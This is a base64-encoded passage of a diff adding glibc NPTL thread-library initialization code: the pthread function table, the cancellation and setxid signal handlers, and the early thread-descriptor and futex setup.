X25vdF9hdmFpbCgpIGRvIHsgfSB3aGlsZSAoMCkKKyNlbmRpZgorCisjaWZu
ZGVmIF9fQVNTVU1FX0ZVVEVYX0NMT0NLX1JFQUxUSU1FCisvKiBOb256ZXJv
IGlmIHdlIGRvIG5vdCBoYXZlIEZVVEVYX0NMT0NLX1JFQUxUSU1FLiAgKi8K
K2ludCBfX2hhdmVfZnV0ZXhfY2xvY2tfcmVhbHRpbWU7CisjIGRlZmluZSBf
X3NldF9mdXRleF9jbG9ja19yZWFsdGltZSgpIFwKKyAgX19oYXZlX2Z1dGV4
X2Nsb2NrX3JlYWx0aW1lID0gMQorI2Vsc2UKKyNkZWZpbmUgX19zZXRfZnV0
ZXhfY2xvY2tfcmVhbHRpbWUoKSBkbyB7IH0gd2hpbGUgKDApCisjZW5kaWYK
KworLyogVmVyc2lvbiBvZiB0aGUgbGlicmFyeSwgdXNlZCBpbiBsaWJ0aHJl
YWRfZGIgdG8gZGV0ZWN0IG1pc21hdGNoZXMuICAqLworc3RhdGljIGNvbnN0
IGNoYXIgbnB0bF92ZXJzaW9uW10gX19hdHRyaWJ1dGVfdXNlZF9fID0gVkVS
U0lPTjsKKworCisjaWZuZGVmIFNIQVJFRAorZXh0ZXJuIHZvaWQgX19saWJj
X3NldHVwX3RscyAoc2l6ZV90IHRjYnNpemUsIHNpemVfdCB0Y2JhbGlnbik7
CisjZW5kaWYKKworc3RhdGljIHZvaWQgbnB0bF9mcmVlcmVzICh2b2lkKTsK
KworCisjaWZkZWYgU0hBUkVECitzdGF0aWMgY29uc3Qgc3RydWN0IHB0aHJl
YWRfZnVuY3Rpb25zIHB0aHJlYWRfZnVuY3Rpb25zID0KKyAgeworICAgIC5w
dHJfcHRocmVhZF9hdHRyX2Rlc3Ryb3kgPSBfX3B0aHJlYWRfYXR0cl9kZXN0
cm95LAorIyBpZiBTSExJQl9DT01QQVQobGlicHRocmVhZCwgR0xJQkNfMl8w
LCBHTElCQ18yXzEpCisgICAgLnB0cl9fX3B0aHJlYWRfYXR0cl9pbml0XzJf
MCA9IF9fcHRocmVhZF9hdHRyX2luaXRfMl8wLAorIyBlbmRpZgorICAgIC5w
dHJfX19wdGhyZWFkX2F0dHJfaW5pdF8yXzEgPSBfX3B0aHJlYWRfYXR0cl9p
bml0XzJfMSwKKyAgICAucHRyX3B0aHJlYWRfYXR0cl9nZXRkZXRhY2hzdGF0
ZSA9IF9fcHRocmVhZF9hdHRyX2dldGRldGFjaHN0YXRlLAorICAgIC5wdHJf
cHRocmVhZF9hdHRyX3NldGRldGFjaHN0YXRlID0gX19wdGhyZWFkX2F0dHJf
c2V0ZGV0YWNoc3RhdGUsCisgICAgLnB0cl9wdGhyZWFkX2F0dHJfZ2V0aW5o
ZXJpdHNjaGVkID0gX19wdGhyZWFkX2F0dHJfZ2V0aW5oZXJpdHNjaGVkLAor
ICAgIC5wdHJfcHRocmVhZF9hdHRyX3NldGluaGVyaXRzY2hlZCA9IF9fcHRo
cmVhZF9hdHRyX3NldGluaGVyaXRzY2hlZCwKKyAgICAucHRyX3B0aHJlYWRf
YXR0cl9nZXRzY2hlZHBhcmFtID0gX19wdGhyZWFkX2F0dHJfZ2V0c2NoZWRw
YXJhbSwKKyAgICAucHRyX3B0aHJlYWRfYXR0cl9zZXRzY2hlZHBhcmFtID0g
X19wdGhyZWFkX2F0dHJfc2V0c2NoZWRwYXJhbSwKKyAgICAucHRyX3B0aHJl
YWRfYXR0cl9nZXRzY2hlZHBvbGljeSA9IF9fcHRocmVhZF9hdHRyX2dldHNj
aGVkcG9saWN5LAorICAgIC5wdHJfcHRocmVhZF9hdHRyX3NldHNjaGVkcG9s
aWN5ID0gX19wdGhyZWFkX2F0dHJfc2V0c2NoZWRwb2xpY3ksCisgICAgLnB0
cl9wdGhyZWFkX2F0dHJfZ2V0c2NvcGUgPSBfX3B0aHJlYWRfYXR0cl9nZXRz
Y29wZSwKKyAgICAucHRyX3B0aHJlYWRfYXR0cl9zZXRzY29wZSA9IF9fcHRo
cmVhZF9hdHRyX3NldHNjb3BlLAorICAgIC5wdHJfcHRocmVhZF9jb25kYXR0
cl9kZXN0cm95ID0gX19wdGhyZWFkX2NvbmRhdHRyX2Rlc3Ryb3ksCisgICAg
LnB0cl9wdGhyZWFkX2NvbmRhdHRyX2luaXQgPSBfX3B0aHJlYWRfY29uZGF0
dHJfaW5pdCwKKyAgICAucHRyX19fcHRocmVhZF9jb25kX2Jyb2FkY2FzdCA9
IF9fcHRocmVhZF9jb25kX2Jyb2FkY2FzdCwKKyAgICAucHRyX19fcHRocmVh
ZF9jb25kX2Rlc3Ryb3kgPSBfX3B0aHJlYWRfY29uZF9kZXN0cm95LAorICAg
IC5wdHJfX19wdGhyZWFkX2NvbmRfaW5pdCA9IF9fcHRocmVhZF9jb25kX2lu
aXQsCisgICAgLnB0cl9fX3B0aHJlYWRfY29uZF9zaWduYWwgPSBfX3B0aHJl
YWRfY29uZF9zaWduYWwsCisgICAgLnB0cl9fX3B0aHJlYWRfY29uZF93YWl0
ID0gX19wdGhyZWFkX2NvbmRfd2FpdCwKKyAgICAucHRyX19fcHRocmVhZF9j
b25kX3RpbWVkd2FpdCA9IF9fcHRocmVhZF9jb25kX3RpbWVkd2FpdCwKKyMg
aWYgU0hMSUJfQ09NUEFUKGxpYnB0aHJlYWQsIEdMSUJDXzJfMCwgR0xJQkNf
Ml8zXzIpCisgICAgLnB0cl9fX3B0aHJlYWRfY29uZF9icm9hZGNhc3RfMl8w
ID0gX19wdGhyZWFkX2NvbmRfYnJvYWRjYXN0XzJfMCwKKyAgICAucHRyX19f
cHRocmVhZF9jb25kX2Rlc3Ryb3lfMl8wID0gX19wdGhyZWFkX2NvbmRfZGVz
dHJveV8yXzAsCisgICAgLnB0cl9fX3B0aHJlYWRfY29uZF9pbml0XzJfMCA9
IF9fcHRocmVhZF9jb25kX2luaXRfMl8wLAorICAgIC5wdHJfX19wdGhyZWFk
X2NvbmRfc2lnbmFsXzJfMCA9IF9fcHRocmVhZF9jb25kX3NpZ25hbF8yXzAs
CisgICAgLnB0cl9fX3B0aHJlYWRfY29uZF93YWl0XzJfMCA9IF9fcHRocmVh
ZF9jb25kX3dhaXRfMl8wLAorICAgIC5wdHJfX19wdGhyZWFkX2NvbmRfdGlt
ZWR3YWl0XzJfMCA9IF9fcHRocmVhZF9jb25kX3RpbWVkd2FpdF8yXzAsCisj
IGVuZGlmCisjIGlmIFNITElCX0NPTVBBVChsaWJwdGhyZWFkLCBHTElCQ18y
XzNfMiwgR0xJQkNfMl85KQorICAgIC5wdHJfX19wdGhyZWFkX2NvbmRfYnJv
YWRjYXN0X2hwcGFfMl8zXzIgPSBfX3B0aHJlYWRfY29uZF9icm9hZGNhc3Rf
aHBwYV8yXzNfMiwKKyAgICAucHRyX19fcHRocmVhZF9jb25kX2Rlc3Ryb3lf
aHBwYV8yXzNfMiA9IF9fcHRocmVhZF9jb25kX2Rlc3Ryb3lfaHBwYV8yXzNf
MiwKKyAgICAucHRyX19fcHRocmVhZF9jb25kX2luaXRfaHBwYV8yXzNfMiA9
IF9fcHRocmVhZF9jb25kX2luaXRfaHBwYV8yXzNfMiwKKyAgICAucHRyX19f
cHRocmVhZF9jb25kX3NpZ25hbF9ocHBhXzJfM18yID0gX19wdGhyZWFkX2Nv
bmRfc2lnbmFsX2hwcGFfMl8zXzIsCisgICAgLnB0cl9fX3B0aHJlYWRfY29u
ZF93YWl0X2hwcGFfMl8zXzIgPSBfX3B0aHJlYWRfY29uZF93YWl0X2hwcGFf
Ml8zXzIsCisgICAgLnB0cl9fX3B0aHJlYWRfY29uZF90aW1lZHdhaXRfaHBw
YV8yXzNfMiA9IF9fcHRocmVhZF9jb25kX3RpbWVkd2FpdF9ocHBhXzJfM18y
LAorIyBlbmRpZgorICAgIC5wdHJfcHRocmVhZF9lcXVhbCA9IF9fcHRocmVh
ZF9lcXVhbCwKKyAgICAucHRyX19fcHRocmVhZF9leGl0ID0gX19wdGhyZWFk
X2V4aXQsCisgICAgLnB0cl9wdGhyZWFkX2dldHNjaGVkcGFyYW0gPSBfX3B0
aHJlYWRfZ2V0c2NoZWRwYXJhbSwKKyAgICAucHRyX3B0aHJlYWRfc2V0c2No
ZWRwYXJhbSA9IF9fcHRocmVhZF9zZXRzY2hlZHBhcmFtLAorICAgIC5wdHJf
cHRocmVhZF9tdXRleF9kZXN0cm95ID0gSU5UVVNFKF9fcHRocmVhZF9tdXRl
eF9kZXN0cm95KSwKKyAgICAucHRyX3B0aHJlYWRfbXV0ZXhfaW5pdCA9IElO
VFVTRShfX3B0aHJlYWRfbXV0ZXhfaW5pdCksCisgICAgLnB0cl9wdGhyZWFk
X211dGV4X2xvY2sgPSBJTlRVU0UoX19wdGhyZWFkX211dGV4X2xvY2spLAor
ICAgIC5wdHJfcHRocmVhZF9tdXRleF91bmxvY2sgPSBJTlRVU0UoX19wdGhy
ZWFkX211dGV4X3VubG9jayksCisjIGlmIFNITElCX0NPTVBBVChsaWJwdGhy
ZWFkLCBHTElCQ18yXzAsIEdMSUJDXzJfOSkKKyAgICAucHRyX19fcHRocmVh
ZF9tdXRleF9kZXN0cm95X2hwcGFfMl8wID0gX19wdGhyZWFkX211dGV4X2Rl
c3Ryb3lfaHBwYV8yXzAsCisgICAgLnB0cl9fX3B0aHJlYWRfbXV0ZXhfaW5p
dF9ocHBhXzJfMCA9IF9fcHRocmVhZF9tdXRleF9pbml0X2hwcGFfMl8wLAor
ICAgIC5wdHJfX19wdGhyZWFkX211dGV4X2xvY2tfaHBwYV8yXzAgPSBfX3B0
aHJlYWRfbXV0ZXhfbG9ja19ocHBhXzJfMCwKKyAgICAucHRyX19fcHRocmVh
ZF9tdXRleF91bmxvY2tfaHBwYV8yXzAgPSBfX3B0aHJlYWRfbXV0ZXhfdW5s
b2NrX2hwcGFfMl8wLAorIyBlbmRpZgorICAgIC5wdHJfcHRocmVhZF9zZWxm
ID0gX19wdGhyZWFkX3NlbGYsCisgICAgLnB0cl9wdGhyZWFkX3NldGNhbmNl
bHN0YXRlID0gX19wdGhyZWFkX3NldGNhbmNlbHN0YXRlLAorICAgIC5wdHJf
cHRocmVhZF9zZXRjYW5jZWx0eXBlID0gX19wdGhyZWFkX3NldGNhbmNlbHR5
cGUsCisgICAgLnB0cl9fX3B0aHJlYWRfY2xlYW51cF91cHRvID0gX19wdGhy
ZWFkX2NsZWFudXBfdXB0bywKKyAgICAucHRyX19fcHRocmVhZF9vbmNlID0g
X19wdGhyZWFkX29uY2VfaW50ZXJuYWwsCisgICAgLnB0cl9fX3B0aHJlYWRf
cndsb2NrX3JkbG9jayA9IF9fcHRocmVhZF9yd2xvY2tfcmRsb2NrX2ludGVy
bmFsLAorICAgIC5wdHJfX19wdGhyZWFkX3J3bG9ja193cmxvY2sgPSBfX3B0
aHJlYWRfcndsb2NrX3dybG9ja19pbnRlcm5hbCwKKyAgICAucHRyX19fcHRo
cmVhZF9yd2xvY2tfdW5sb2NrID0gX19wdGhyZWFkX3J3bG9ja191bmxvY2tf
aW50ZXJuYWwsCisgICAgLnB0cl9fX3B0aHJlYWRfa2V5X2NyZWF0ZSA9IF9f
cHRocmVhZF9rZXlfY3JlYXRlX2ludGVybmFsLAorICAgIC5wdHJfX19wdGhy
ZWFkX2dldHNwZWNpZmljID0gX19wdGhyZWFkX2dldHNwZWNpZmljX2ludGVy
bmFsLAorICAgIC5wdHJfX19wdGhyZWFkX3NldHNwZWNpZmljID0gX19wdGhy
ZWFkX3NldHNwZWNpZmljX2ludGVybmFsLAorICAgIC5wdHJfX3B0aHJlYWRf
Y2xlYW51cF9wdXNoX2RlZmVyID0gX19wdGhyZWFkX2NsZWFudXBfcHVzaF9k
ZWZlciwKKyAgICAucHRyX19wdGhyZWFkX2NsZWFudXBfcG9wX3Jlc3RvcmUg
PSBfX3B0aHJlYWRfY2xlYW51cF9wb3BfcmVzdG9yZSwKKyAgICAucHRyX250
aHJlYWRzID0gJl9fbnB0bF9udGhyZWFkcywKKyAgICAucHRyX19fcHRocmVh
ZF91bndpbmQgPSAmX19wdGhyZWFkX3Vud2luZCwKKyAgICAucHRyX19ucHRs
X2RlYWxsb2NhdGVfdHNkID0gX19ucHRsX2RlYWxsb2NhdGVfdHNkLAorICAg
IC5wdHJfX25wdGxfc2V0eGlkID0gX19ucHRsX3NldHhpZCwKKyAgICAvKiBG
b3Igbm93IG9ubHkgdGhlIHN0YWNrIGNhY2hlIG5lZWRzIHRvIGJlIGZyZWVk
LiAgKi8KKyAgICAucHRyX2ZyZWVyZXMgPSBucHRsX2ZyZWVyZXMKKyAgfTsK
KyMgZGVmaW5lIHB0cl9wdGhyZWFkX2Z1bmN0aW9ucyAmcHRocmVhZF9mdW5j
dGlvbnMKKyNlbHNlCisjIGRlZmluZSBwdHJfcHRocmVhZF9mdW5jdGlvbnMg
TlVMTAorI2VuZGlmCisKKworLyogVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQg
aW5kaXJlY3RseSBmcm9tIHRoZSBmcmVlcmVzIGNvZGUgaW4gbGliYy4gICov
CitzdGF0aWMgdm9pZAorX19saWJjX2ZyZWVyZXNfZm5fc2VjdGlvbgorbnB0
bF9mcmVlcmVzICh2b2lkKQoreworI2lmZGVmIFNIQVJFRAorICBfX3Vud2lu
ZF9mcmVlcmVzICgpOworI2VuZGlmCisgIF9fZnJlZV9zdGFja3MgKDApOwor
fQorCisKKy8qIEZvciBhc3luY2hyb25vdXMgY2FuY2VsbGF0aW9uIHdlIHVz
ZSBhIHNpZ25hbC4gIFRoaXMgaXMgdGhlIGhhbmRsZXIuICAqLworc3RhdGlj
IHZvaWQKK3NpZ2NhbmNlbF9oYW5kbGVyIChpbnQgc2lnLCBzaWdpbmZvX3Qg
KnNpLCB2b2lkICpjdHgpCit7CisjaWZkZWYgX19BU1NVTUVfQ09SUkVDVF9T
SV9QSUQKKyAgLyogRGV0ZXJtaW5lIHRoZSBwcm9jZXNzIElELiAgSXQgbWln
aHQgYmUgbmVnYXRpdmUgaWYgdGhlIHRocmVhZCBpcworICAgICBpbiB0aGUg
bWlkZGxlIG9mIGEgZm9yaygpIGNhbGwuICAqLworICBwaWRfdCBwaWQgPSBU
SFJFQURfR0VUTUVNIChUSFJFQURfU0VMRiwgcGlkKTsKKyAgaWYgKF9fYnVp
bHRpbl9leHBlY3QgKHBpZCA8IDAsIDApKQorICAgIHBpZCA9IC1waWQ7Cisj
ZW5kaWYKKworICAvKiBTYWZldHkgY2hlY2suICBJdCB3b3VsZCBiZSBwb3Nz
aWJsZSB0byBjYWxsIHRoaXMgZnVuY3Rpb24gZm9yCisgICAgIG90aGVyIHNp
Z25hbHMgYW5kIHNlbmQgYSBzaWduYWwgZnJvbSBhbm90aGVyIHByb2Nlc3Mu
ICBUaGlzIGlzIG5vdAorICAgICBjb3JyZWN0IGFuZCBtaWdodCBldmVuIGJl
IGEgc2VjdXJpdHkgcHJvYmxlbS4gIFRyeSB0byBjYXRjaCBhcworICAgICBt
YW55IGluY29ycmVjdCBpbnZvY2F0aW9ucyBhcyBwb3NzaWJsZS4gICovCisg
IGlmIChzaWcgIT0gU0lHQ0FOQ0VMCisjaWZkZWYgX19BU1NVTUVfQ09SUkVD
VF9TSV9QSUQKKyAgICAgIC8qIEtlcm5lbHMgYmVmb3JlIDIuNS43NSBzdG9y
ZWQgdGhlIHRocmVhZCBJRCBhbmQgbm90IHRoZSBwcm9jZXNzCisJIElEIGlu
IHNpX3BpZCBzbyB3ZSBza2lwIHRoaXMgdGVzdC4gICovCisgICAgICB8fCBz
aS0+c2lfcGlkICE9IHBpZAorI2VuZGlmCisgICAgICB8fCBzaS0+c2lfY29k
ZSAhPSBTSV9US0lMTCkKKyAgICByZXR1cm47CisKKyAgc3RydWN0IHB0aHJl
YWQgKnNlbGYgPSBUSFJFQURfU0VMRjsKKworICBpbnQgb2xkdmFsID0gVEhS
RUFEX0dFVE1FTSAoc2VsZiwgY2FuY2VsaGFuZGxpbmcpOworICB3aGlsZSAo
MSkKKyAgICB7CisgICAgICAvKiBXZSBhcmUgY2FuY2VsZWQgbm93LiAgV2hl
biBjYW5jZWxlZCBieSBhbm90aGVyIHRocmVhZCB0aGlzIGZsYWcKKwkgaXMg
YWxyZWFkeSBzZXQgYnV0IGlmIHRoZSBzaWduYWwgaXMgZGlyZWN0bHkgc2Vu
ZCAoaW50ZXJuYWxseSBvcgorCSBmcm9tIGFub3RoZXIgcHJvY2VzcykgaXMg
aGFzIHRvIGJlIGRvbmUgaGVyZS4gICovCisgICAgICBpbnQgbmV3dmFsID0g
b2xkdmFsIHwgQ0FOQ0VMSU5HX0JJVE1BU0sgfCBDQU5DRUxFRF9CSVRNQVNL
OworCisgICAgICBpZiAob2xkdmFsID09IG5ld3ZhbCB8fCAob2xkdmFsICYg
RVhJVElOR19CSVRNQVNLKSAhPSAwKQorCS8qIEFscmVhZHkgY2FuY2VsZWQg
b3IgZXhpdGluZy4gICovCisJYnJlYWs7CisKKyAgICAgIGludCBjdXJ2YWwg
PSBUSFJFQURfQVRPTUlDX0NNUFhDSEdfVkFMIChzZWxmLCBjYW5jZWxoYW5k
bGluZywgbmV3dmFsLAorCQkJCQkgICAgICBvbGR2YWwpOworICAgICAgaWYg
KGN1cnZhbCA9PSBvbGR2YWwpCisJeworCSAgLyogU2V0IHRoZSByZXR1cm4g
dmFsdWUuICAqLworCSAgVEhSRUFEX1NFVE1FTSAoc2VsZiwgcmVzdWx0LCBQ
VEhSRUFEX0NBTkNFTEVEKTsKKworCSAgLyogTWFrZSBzdXJlIGFzeW5jaHJv
bm91cyBjYW5jZWxsYXRpb24gaXMgc3RpbGwgZW5hYmxlZC4gICovCisJICBp
ZiAoKG5ld3ZhbCAmIENBTkNFTFRZUEVfQklUTUFTSykgIT0gMCkKKwkgICAg
LyogUnVuIHRoZSByZWdpc3RlcmVkIGRlc3RydWN0b3JzIGFuZCB0ZXJtaW5h
dGUgdGhlIHRocmVhZC4gICovCisJICAgIF9fZG9fY2FuY2VsICgpOworCisJ
ICBicmVhazsKKwl9CisKKyAgICAgIG9sZHZhbCA9IGN1cnZhbDsKKyAgICB9
Cit9CisKKworc3RydWN0IHhpZF9jb21tYW5kICpfX3hpZGNtZCBhdHRyaWJ1
dGVfaGlkZGVuOworCisvKiBGb3IgYXN5bmNocm9ub3VzIGNhbmNlbGxhdGlv
biB3ZSB1c2UgYSBzaWduYWwuICBUaGlzIGlzIHRoZSBoYW5kbGVyLiAgKi8K
K3N0YXRpYyB2b2lkCitzaWdoYW5kbGVyX3NldHhpZCAoaW50IHNpZywgc2ln
aW5mb190ICpzaSwgdm9pZCAqY3R4KQoreworI2lmZGVmIF9fQVNTVU1FX0NP
UlJFQ1RfU0lfUElECisgIC8qIERldGVybWluZSB0aGUgcHJvY2VzcyBJRC4g
IEl0IG1pZ2h0IGJlIG5lZ2F0aXZlIGlmIHRoZSB0aHJlYWQgaXMKKyAgICAg
aW4gdGhlIG1pZGRsZSBvZiBhIGZvcmsoKSBjYWxsLiAgKi8KKyAgcGlkX3Qg
cGlkID0gVEhSRUFEX0dFVE1FTSAoVEhSRUFEX1NFTEYsIHBpZCk7CisgIGlm
IChfX2J1aWx0aW5fZXhwZWN0IChwaWQgPCAwLCAwKSkKKyAgICBwaWQgPSAt
cGlkOworI2VuZGlmCisKKyAgLyogU2FmZXR5IGNoZWNrLiAgSXQgd291bGQg
YmUgcG9zc2libGUgdG8gY2FsbCB0aGlzIGZ1bmN0aW9uIGZvcgorICAgICBv
dGhlciBzaWduYWxzIGFuZCBzZW5kIGEgc2lnbmFsIGZyb20gYW5vdGhlciBw
cm9jZXNzLiAgVGhpcyBpcyBub3QKKyAgICAgY29ycmVjdCBhbmQgbWlnaHQg
ZXZlbiBiZSBhIHNlY3VyaXR5IHByb2JsZW0uICBUcnkgdG8gY2F0Y2ggYXMK
KyAgICAgbWFueSBpbmNvcnJlY3QgaW52b2NhdGlvbnMgYXMgcG9zc2libGUu
ICAqLworICBpZiAoc2lnICE9IFNJR1NFVFhJRAorI2lmZGVmIF9fQVNTVU1F
X0NPUlJFQ1RfU0lfUElECisgICAgICAvKiBLZXJuZWxzIGJlZm9yZSAyLjUu
NzUgc3RvcmVkIHRoZSB0aHJlYWQgSUQgYW5kIG5vdCB0aGUgcHJvY2Vzcwor
CSBJRCBpbiBzaV9waWQgc28gd2Ugc2tpcCB0aGlzIHRlc3QuICAqLworICAg
ICAgfHwgc2ktPnNpX3BpZCAhPSBwaWQKKyNlbmRpZgorICAgICAgfHwgc2kt
PnNpX2NvZGUgIT0gU0lfVEtJTEwpCisgICAgcmV0dXJuOworCisgIElOVEVS
TkFMX1NZU0NBTExfREVDTCAoZXJyKTsKKyAgSU5URVJOQUxfU1lTQ0FMTF9O
Q1MgKF9feGlkY21kLT5zeXNjYWxsX25vLCBlcnIsIDMsIF9feGlkY21kLT5p
ZFswXSwKKwkJCV9feGlkY21kLT5pZFsxXSwgX194aWRjbWQtPmlkWzJdKTsK
KworICBpZiAoYXRvbWljX2RlY3JlbWVudF92YWwgKCZfX3hpZGNtZC0+Y250
cikgPT0gMCkKKyAgICBsbGxfZnV0ZXhfd2FrZSAoJl9feGlkY21kLT5jbnRy
LCAxLCBMTExfUFJJVkFURSk7CisKKyAgLyogUmVzZXQgdGhlIFNFVFhJRCBm
bGFnLiAgKi8KKyAgc3RydWN0IHB0aHJlYWQgKnNlbGYgPSBUSFJFQURfU0VM
RjsKKyAgaW50IGZsYWdzID0gVEhSRUFEX0dFVE1FTSAoc2VsZiwgY2FuY2Vs
aGFuZGxpbmcpOworICBUSFJFQURfU0VUTUVNIChzZWxmLCBjYW5jZWxoYW5k
bGluZywgZmxhZ3MgJiB+U0VUWElEX0JJVE1BU0spOworCisgIC8qIEFuZCBy
ZWxlYXNlIHRoZSBmdXRleC4gICovCisgIHNlbGYtPnNldHhpZF9mdXRleCA9
IDE7CisgIGxsbF9mdXRleF93YWtlICgmc2VsZi0+c2V0eGlkX2Z1dGV4LCAx
LCBMTExfUFJJVkFURSk7Cit9CisKKworLyogV2hlbiB1c2luZyBfX3RocmVh
ZCBmb3IgdGhpcywgd2UgZG8gaXQgaW4gbGliYyBzbyBhcyBub3QKKyAgIHRv
IGdpdmUgbGlicHRocmVhZCBpdHMgb3duIFRMUyBzZWdtZW50IGp1c3QgZm9y
IHRoaXMuICAqLworZXh0ZXJuIHZvaWQgKipfX2xpYmNfZGxfZXJyb3JfdHNk
ICh2b2lkKSBfX2F0dHJpYnV0ZV9fICgoY29uc3QpKTsKKworCisvKiBUaGlz
IGNhbiBiZSBzZXQgYnkgdGhlIGRlYnVnZ2VyIGJlZm9yZSBpbml0aWFsaXph
dGlvbiBpcyBjb21wbGV0ZS4gICovCitzdGF0aWMgYm9vbCBfX25wdGxfaW5p
dGlhbF9yZXBvcnRfZXZlbnRzOworCit2b2lkCitfX3B0aHJlYWRfaW5pdGlh
bGl6ZV9taW5pbWFsX2ludGVybmFsICh2b2lkKQoreworI2lmbmRlZiBTSEFS
RUQKKyAgLyogVW5saWtlIGluIHRoZSBkeW5hbWljYWxseSBsaW5rZWQgY2Fz
ZSB0aGUgZHluYW1pYyBsaW5rZXIgaGFzIG5vdAorICAgICB0YWtlbiBjYXJl
IG9mIGluaXRpYWxpemluZyB0aGUgVExTIGRhdGEgc3RydWN0dXJlcy4gICov
CisgIF9fbGliY19zZXR1cF90bHMgKFRMU19UQ0JfU0laRSwgVExTX1RDQl9B
TElHTik7CisKKyAgLyogV2UgbXVzdCBwcmV2ZW50IGdjYyBmcm9tIGJlaW5n
IGNsZXZlciBhbmQgbW92ZSBhbnkgb2YgdGhlCisgICAgIGZvbGxvd2luZyBj
b2RlIGFoZWFkIG9mIHRoZSBfX2xpYmNfc2V0dXBfdGxzIGNhbGwuICBUaGlz
IGZ1bmN0aW9uCisgICAgIHdpbGwgaW5pdGlhbGl6ZSB0aGUgdGhyZWFkIHJl
Z2lzdGVyIHdoaWNoIGlzIHN1YnNlcXVlbnRseQorICAgICB1c2VkLiAgKi8K
KyAgX19hc20gX192b2xhdGlsZSAoIiIpOworI2VuZGlmCisKKyAgLyogTWlu
aW1hbCBpbml0aWFsaXphdGlvbiBvZiB0aGUgdGhyZWFkIGRlc2NyaXB0b3Iu
ICAqLworICBzdHJ1Y3QgcHRocmVhZCAqcGQgPSBUSFJFQURfU0VMRjsKKyAg
SU5URVJOQUxfU1lTQ0FMTF9ERUNMIChlcnIpOworICBwZC0+cGlkID0gcGQt
PnRpZCA9IElOVEVSTkFMX1NZU0NBTEwgKHNldF90aWRfYWRkcmVzcywgZXJy
LCAxLCAmcGQtPnRpZCk7CisgIFRIUkVBRF9TRVRNRU0gKHBkLCBzcGVjaWZp
Y1swXSwgJnBkLT5zcGVjaWZpY18xc3RibG9ja1swXSk7CisgIFRIUkVBRF9T
RVRNRU0gKHBkLCB1c2VyX3N0YWNrLCB0cnVlKTsKKyAgaWYgKExMTF9MT0NL
X0lOSVRJQUxJWkVSICE9IDApCisgICAgVEhSRUFEX1NFVE1FTSAocGQsIGxv
Y2ssIExMTF9MT0NLX0lOSVRJQUxJWkVSKTsKKyNpZiBIUF9USU1JTkdfQVZB
SUwKKyAgVEhSRUFEX1NFVE1FTSAocGQsIGNwdWNsb2NrX29mZnNldCwgR0wo
ZGxfY3B1Y2xvY2tfb2Zmc2V0KSk7CisjZW5kaWYKKworICAvKiBJbml0aWFs
aXplIHRoZSByb2J1c3QgbXV0ZXggZGF0YS4gICovCisjaWZkZWYgX19QVEhS
RUFEX01VVEVYX0hBVkVfUFJFVgorICBwZC0+cm9idXN0X3ByZXYgPSAmcGQt
PnJvYnVzdF9oZWFkOworI2VuZGlmCisgIHBkLT5yb2J1c3RfaGVhZC5saXN0
ID0gJnBkLT5yb2J1c3RfaGVhZDsKKyNpZmRlZiBfX05SX3NldF9yb2J1c3Rf
bGlzdAorICBwZC0+cm9idXN0X2hlYWQuZnV0ZXhfb2Zmc2V0ID0gKG9mZnNl
dG9mIChwdGhyZWFkX211dGV4X3QsIF9fZGF0YS5fX2xvY2spCisJCQkJICAt
IG9mZnNldG9mIChwdGhyZWFkX211dGV4X3QsCisJCQkJCSAgICAgIF9fZGF0
YS5fX2xpc3QuX19uZXh0KSk7CisgIGludCByZXMgPSBJTlRFUk5BTF9TWVND
QUxMIChzZXRfcm9idXN0X2xpc3QsIGVyciwgMiwgJnBkLT5yb2J1c3RfaGVh
ZCwKKwkJCSAgICAgIHNpemVvZiAoc3RydWN0IHJvYnVzdF9saXN0X2hlYWQp
KTsKKyAgaWYgKElOVEVSTkFMX1NZU0NBTExfRVJST1JfUCAocmVzLCBlcnIp
KQorI2VuZGlmCisgICAgc2V0X3JvYnVzdF9saXN0X25vdF9hdmFpbCAoKTsK
KworI2lmbmRlZiBfX0FTU1VNRV9QUklWQVRFX0ZVVEVYCisgIC8qIFByaXZh
dGUgZnV0ZXhlcyBhcmUgYWx3YXlzIHVzZWQgKGF0IGxlYXN0IGludGVybmFs
bHkpIHNvIHRoYXQKKyAgICAgZG9pbmcgdGhlIHRlc3Qgb25jZSB0aGlzIGVh
cmx5IGlzIGJlbmVmaWNpYWwuICAqLworICB7CisgICAgaW50IHdvcmQgPSAw
OworICAgIHdvcmQgPSBJTlRFUk5BTF9TWVNDQUxMIChmdXRleCwgZXJyLCAz
LCAmd29yZCwKKwkJCSAgICBGVVRFWF9XQUtFIHwgRlVURVhfUFJJVkFURV9G
TEFHLCAxKTsKKyAgICBpZiAoIUlOVEVSTkFMX1NZU0NBTExfRVJST1JfUCAo
d29yZCwgZXJyKSkKKyAgICAgIFRIUkVBRF9TRVRNRU0gKHBkLCBoZWFkZXIu
cHJpdmF0ZV9mdXRleCwgRlVURVhfUFJJVkFURV9GTEFHKTsKKyAgfQorCisg
IC8qIFByaXZhdGUgZnV0ZXhlcyBoYXZlIGJlZW4gaW50cm9kdWNlZCBlYXJs
aWVyIHRoYW4gdGhlCisgICAgIEZVVEVYX0NMT0NLX1JFQUxUSU1FIGZsYWcu
ICBXZSBkb24ndCBoYXZlIHRvIHJ1biB0aGUgdGVzdCBpZiB3ZQorICAgICBr
bm93IHRoZSBmb3JtZXIgYXJlIG5vdCBzdXBwb3J0ZWQuICBUaGlzIGFsc28g
bWVhbnMgd2Uga25vdyB0aGUKKyAgICAga2VybmVsIHdpbGwgcmV0dXJuIEVO
T1NZUyBmb3IgdW5rbm93biBvcGVyYXRpb25zLiAgKi8KKyAgaWYgKFRIUkVB
RF9HRVRNRU0gKHBkLCBoZWFkZXIucHJpdmF0ZV9mdXRleCkgIT0gMCkKKyNl
bmRpZgorI2lmbmRlZiBfX0FTU1VNRV9GVVRFWF9DTE9DS19SRUFMVElNRQor
ICAgIHsKKyAgICAgIGludCB3b3JkID0gMDsKKyAgICAgIC8qIE5COiB0aGUg
c3lzY2FsbCBhY3R1YWxseSB0YWtlcyBzaXggcGFyYW1ldGVycy4gIFRoZSBs
YXN0IGlzIHRoZQorCSBiaXQgbWFzay4gIEJ1dCBzaW5jZSB3ZSB3aWxsIG5v
dCBhY3R1YWxseSB3YWl0IGF0IGFsbCB0aGUgdmFsdWUKKwkgaXMgaXJyZWxl
dmFudC4gIEdpdmVuIHRoYXQgcGFzc2luZyBzaXggcGFyYW1ldGVycyBpcyBk
aWZmaWN1bHQKKwkgb24gc29tZSBhcmNoaXRlY3R1cmVzIHdlIGp1c3QgcGFz
cyB3aGF0ZXZlciByYW5kb20gdmFsdWUgdGhlCisJIGNhbGxpbmcgY29udmVu
dGlvbiBjYWxscyBmb3IgdG8gdGhlIGtlcm5lbC4gIEl0IGNhdXNlcyBubyBo
